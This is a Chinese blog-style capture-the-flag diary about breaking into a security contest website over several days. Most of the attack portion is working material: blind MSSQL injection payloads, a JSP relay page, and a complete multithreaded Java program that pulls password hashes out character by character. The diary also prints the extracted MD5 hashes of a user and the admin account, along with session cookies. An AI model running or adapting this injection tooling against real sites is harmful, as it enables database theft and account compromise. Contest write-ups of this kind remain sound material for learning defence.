第一天:
整个网站,没有什么思路,无从下手的感觉,拿wwwscan一顿狂扫,发现很多目录都是403,可能是做了IP限制,扫到一个叫做htaccess,
http://www.isclab.org/contest/.htaccess下下来发现是一些转跳的
规则,和一些防下载防列目录的规则,从中找到了服务器的架构 Apache/PHP/Drupal 百度了一下,也没有什么可利用的漏洞。
趁机学习了一下,htaccess的配制方法,先把扫到的文件内容粘上了。
教程在这http://hi.baidu.com/wojiubaibudu/item/4b3513c74a8fe47aced4f817
注释占了很多,一些简单的功能注释已经说的很明白了,主要看一下URL重定向的设置,这的功能比较强大。
规则是所有符合RewriteCond规则的URL都会被重定向到,RewriteRule的地址
正则表达式是个非常蛋疼的东西,可是很多时候会用到。
教程的话看这个http://manual.phpv.net/regular_expression.html
总结一下常用的几个符号
^ 匹配字符串开始
$ 匹配字符串结束
\w 字母下划线汉字
\d 数字
\b 单词的开始或结束
. 任意一字符,除换行
* 前一字符重复零到多次
+ 前一字符重复一到多次
{n} 重复n次
比如防盗链的功能可以这样实现,凡是HTTP_PEFERER(来源URL)与本站URL不配备,NC是忽略大小写。
或者HTTP_FEFERER为空的话,就执行RewriteRule把 .*.(jpe?g|gif|bmp|png)$ 这个正则表达式匹配到得字符串替换成
一个服务器上默认的图片,L代表着重定向语句的结束。
RewriteEngine On
RewriteCond %{HTTP_REFERER}!^http://(.+.)?mysite.com/ [NC]
RewriteCond %{HTTP_REFERER}!^$
RewriteRule .*.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpg [L]
伪静态目录可以这样实现,这个伪静态非常有用
搜索引擎友好,用户友好,而且可以掩盖绝大数注入点扫描器的眼睛
规则是这样,他会把用户访问的静态页面目录捕捉到,比如^archiver/((fid|tid)-[0-9]+\.html)$,
然后重定向到动态页面,比如archiver/index.php?$1 $1是反向匹配,代表着正则表达式中第一个括号中的内容。
# 将 RewriteEngine 模式打开
RewriteEngine On
# Rewrite 系统规则请勿修改
RewriteRule ^archiver/((fid|tid)-[0-9]+\.html)$ archiver/index.php?$1
RewriteRule ^forum-([0-9]+)-([0-9]+)\.html$ forumdisplay.php?fid=$1&page=$2
RewriteRule ^thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ viewthread.php?tid=$1&extra=page\%3D$3&page=$2
RewriteRule ^space-(username|uid)-(.+)\.html$ space.php?$1=$2
RewriteRule ^tag-(.+)\.html$ tag.php?name=$1
#
# Apache/PHP/Drupal settings:
#
# Protect files and directories from prying eyes.
<FilesMatch "\.(engine|inc|info|install|make|module|profile|test|po|sh|.*sql|theme|tpl(\.php)?|xtmpl|svn-base)$|^(code-style\.pl|Entries.*|Repository|Root|Tag|Template|all-wcprops|entries|format)$">
Order allow,deny
</FilesMatch>
# Don't show directory listings for URLs which map to a directory.
Options -Indexes
# Follow symbolic links in this directory.
Options +FollowSymLinks
# Make Drupal handle any 404 errors.
ErrorDocument 404 /index.php
# Force simple error message for requests for non-existent favicon.ico.
<Files favicon.ico>
# There is no end quote below, for compatibility with Apache 1.3.
ErrorDocument 404 "The requested file favicon.ico was not found.
</Files>
# Set the default handler.
DirectoryIndex index.php
# Override PHP settings. More in sites/default/settings.php
# but the following cannot be changed at runtime.
# PHP 4, Apache 1.
<IfModule mod_php4.c>
php_value magic_quotes_gpc 0
php_value register_globals 0
php_value session.auto_start 0
php_value mbstring.http_input pass
php_value mbstring.http_output pass
php_value mbstring.encoding_translation 0
</IfModule>
# PHP 4, Apache 2.
<IfModule sapi_apache2.c>
php_value magic_quotes_gpc 0
php_value register_globals 0
php_value session.auto_start 0
php_value mbstring.http_input pass
php_value mbstring.http_output pass
php_value mbstring.encoding_translation 0
</IfModule>
# PHP 5, Apache 1 and 2.
<IfModule mod_php5.c>
php_value magic_quotes_gpc 0
php_value register_globals 0
php_value session.auto_start 0
php_value mbstring.http_input pass
php_value mbstring.http_output pass
php_value mbstring.encoding_translation 0
</IfModule>
# Requires mod_expires to be enabled.
<IfModule mod_expires.c>
# Enable expirations.
ExpiresActive On
# Cache all files for 2 weeks after access (A).
ExpiresDefault A1209600
<FilesMatch \.php$>
# Do not allow PHP scripts to be cached unless they explicitly send cache
# headers themselves. Otherwise all scripts would have to overwrite the
# headers set by mod_expires if they want another caching behavior. This may
# fail if an error occurs early in the bootstrap process, and it may cause
# problems if a non-Drupal PHP file is installed in a subdirectory.
ExpiresActive Off
</FilesMatch>
</IfModule>
# Various rewrite rules.
<IfModule mod_rewrite.c>
RewriteEngine on
# If your site can be accessed both with and without the 'www.' prefix, you
# can use one of the following settings to redirect users to your preferred
# URL, either WITH or WITHOUT the 'www.' prefix. Choose ONLY one option:
#
# To redirect all users to access the site WITH the 'www.' prefix,
# (http://example.com/... will be redirected to http://www.example.com/...)
# adapt and uncomment the following:
# RewriteCond %{HTTP_HOST} ^example\.com$ [NC]
# RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301]
#
# To redirect all users to access the site WITHOUT the 'www.' prefix,
# (http://www.example.com/... will be redirected to http://example.com/...)
# uncomment and adapt the following:
# RewriteCond %{HTTP_HOST} ^www\.example\.com$ [NC]
# RewriteRule ^(.*)$ http://example.com/$1 [L,R=301]
# Modify the RewriteBase if you are using Drupal in a subdirectory or in a
# VirtualDocumentRoot and the rewrite rules are not working properly.
# For example if your site is at http://example.com/drupal uncomment and
# modify the following line:
# RewriteBase /drupal
#
# If your site is running in a VirtualDocumentRoot at http://example.com/,
# uncomment the following line:
RewriteBase /
# Rewrite URLs of the form 'x' to the form 'index.php?q=x'.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteRule ^(.*)$ index.php?q=$1 [L,QSA]
</IfModule>
# $Id: .htaccess,v 1.90.2.5 2010/02/02 07:25:22 dries Exp $
第二天:
漫无目的的搜寻注入点,在于Rank的页面的?page参数这里发现了网站为数不多的几个动态页面。
可是发现,参数经过了过滤,会截取到第一个不是数字的字符为止作为参数,尝试了各种绕过IDS的方法,均未果,蛋疼。
这里需要注意一下URL编码的问题,URL在Internet上传送的时候只支持ASCII码,由于URL中可能有一些ASCII之外的字符
和一些危险的字符,我们使用URL编码把这些字符转换成%XX这种形式。但是,这个转化大部分情况下是由浏览器完成的,
再通过编程语言模拟浏览器访问页面的时候要注意URL编码的问题。
这里有一个各种绕过IDS方法的帖子
http://www.yunsec.net/a/security/wlgf/2011/1017/9537.html
http://wenku.baidu.com/view/39d0dff3f90f76c661371a00.html
http://www.ixpub.net/home.php?mod=space&uid=12690065&do=blog&id=18615
http://blog.renren.com/share/249797970/2731285811
可用性尚未证实,先在这里留个坑。
第三天:
天降大雨,适于睡眠,一觉醒来已经中午了,玩了会地下城,各种被怪虐
第四天:
经高手指示,注入点存在于一个静态页面,果断找到。
http://www.isclab.org/contest/challenge/passlog/1
发现是一个无返错的MSSQL注入点
先测试一下系统表可不可以访问,发现所有的系统表都不能访问
and (select count(*) from sysobjects)>0 //当前数据库下
and (select count(*) from master.dbo.sysdatabases)>0
and (select count(*) from syscolumns)>0
先测试几个函数好不好用
and (select count(*) from users where substring(name,1,1)='w')>0 //substring ok
and (select count(*) from users where ascii(' ')=32)>0 //ascii ok
and (select count(*) from users where len(name)>0)>0 //len wrong
and (select count(*) from users where ascii(substring(name,1,1))>0)>0 //ascii+substring ok
最后用来注入的语句是这样的
and (select count(*) from users where name='wyl091256' and ascii(substring(pass,1,1))>0)>0
果断用TOMCAt架设了一个中转注入页面。
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.InputStream"%>
<%@ page import="java.net.URL"%>
<%@ page import="java.net.HttpURLConnection"%>
<%@ page import="java.io.BufferedReader"%>
<%@ page import="java.io.InputStreamReader"%>
<%
response.setContentType("text/html;charset=UTF-8");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
response.setHeader("Pragma","No-Cache");
response.setHeader("Cache-Control","No-Cache");
response.setDateHeader("Expires", 0);
String word="";
word=(String)request.getParameter("page");
out.println("http://www.isclab.org/contest/challenge/passlog/"+word);
String cutrentString="";
String totalString="";
InputStream inputStream;
URL url = new URL("http://www.isclab.org/contest/challenge/passlog/"+word);
HttpURLConnection connection=(HttpURLConnection)url.openConnection();
connection.setRequestProperty("Cookie","SESSa2a57b4294507a5753fc449b43b9af6e=d585bc79916fc5fc3f69ccc6fea661fb");
connection.connect();
inputStream=connection.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(inputStream));
while((cutrentString=bufferedReader.readLine())!=null){
totalString+=cutrentString;
}
out.println(totalString);
%>
不过发现一个问题,就是对于没有错误返回的注入点,很多注入工具都不好使。
不过听说 sqlmap 这个工具很强大,python脚本写的,还没有试用,再在这里留个坑。
至此用比较熟的java写了一个程序,来通过注入点跑数据。
注意几点,要把URL转成URL编码,java应该提供了相应的函数,不过我直接硬编码了。
最好使用多线程,并且给HttpURLConnection设置,Timeout参数,在Timeout的时候重启线程。
取消掉缓存,为了保险吧。
及时关闭inputstream以及connection。
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class injecter{
private static String cutrentString;
private static String KEY="admin";
private static String[] Tables={"name","pass","mail","time"};
private static String tableName = "users";
private static String columnName = "pass";
private static String userName = "wyl091256";
private static char[] columnValues = new char[33];
private static class injecterThead extends Thread{
private static int index;
public injecterThead(int index){
this.index=index;
}
private int midFinder(int index,int start,int end) throws Exception{
int mid = (start+end)/2;
//System.out.println("Finder:"+start+" "+end);
if (start==end) return mid;
if (start==mid){
if (tryURLConnection(end,index))
return start;
else
return end;
}
if (tryURLConnection(mid,index)) //符号是小于
return midFinder(index,start,mid-1);
else
return midFinder(index,mid,end);
}
private boolean check(String str){
return (str.indexOf(KEY)!=-1);
}
private String injectionURL(int num,int index){
return "%20and%20(select%20count(*)%20from%20"+ tableName +
"%20where%20name='"+userName+"'" +
"%20and%20ascii(substring("+columnName+","+index+",1))%3c"+num+")%3E0";
}
private boolean tryURLConnection(int num,int index) throws Exception{
cutrentString="";
InputStream inputStream;
String strURL = "http://www.isclab.org/contest/challenge/passlog/1"+injectionURL(num,index);
URL url = new URL(strURL);
//System.out.println(strURL);
HttpURLConnection connection=(HttpURLConnection)url.openConnection();
connection.setRequestProperty("Pragma","No-Cache");
connection.setRequestProperty("Expires","0");
connection.setRequestProperty("Cache-Control","no-cache");
connection.setRequestProperty("Cookie","SESSa2a57b4294507a5753fc449b43b9af6e=11207d61c69c44087266b34bc782808c");
connection.setRequestProperty("accept", "textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
connection.setRequestProperty("Accept-Encoding","gzip, deflate");
connection.setRequestProperty("Accept-Language","zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
connection.setRequestProperty("Connection","keep-alive");
connection.setRequestProperty("Host","xscj.hit.edu.cn");
connection.setRequestProperty("Referer","http://xscj.hit.edu.cn/hitjwgl/xs/cjcx/cx.asp");
connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0");
connection.setConnectTimeout(3000);
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setUseCaches(false);
connection.connect();
inputStream=connection.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(inputStream,"utf-8"));
while((cutrentString=bufferedReader.readLine())!=null){
//System.out.println(cutrentString);
if (check(cutrentString)){
inputStream.close();
connection.disconnect();
//System.out.println("True");
return true;
}
}
inputStream.close();
connection.disconnect();
//System.out.println("False");
return false;
}
private void runColumnValue() throws Exception{
int index=1;
String value="";
while (true){
char c=(char)midFinder(index,0,256);
if (c==' ' || (int)c==0 || index==32) break;
System.out.println(c);
value+=c;
index++;
}
System.out.println(index);
}
@Override
public void run (){
try{
columnValues[index]=(char)midFinder(index,0,256);
System.out.println(index+":"+(int)columnValues[index]);
}catch(Exception e){
System.out.println("InitErroe:"+e.getMessage());
injecterThead it = new injecterThead(index);
it.run();
this.stop();
}
}
}
public static void main(String args[]){
for(int i=1;i<=32;i++){
injecterThead it = new injecterThead(i);
it.run();
}
}
}
很快跑出了我自己的MD5密码和admin的MD5密码
wyl091256
97faf8f61ca07a06f7bb999737158d4c
admin
a9976616854716aa043537627d2f32f3
第五天:
艰苦的破解MD5之旅,很多复杂的密码都无法破解,不过简单的可以在在线网站上得到。
有一个叫做彩虹表的东西貌似很强大。不过因为有几百G没有下载,再次留个坑。
到这里破解第一关的蛋疼之旅就基本结束了。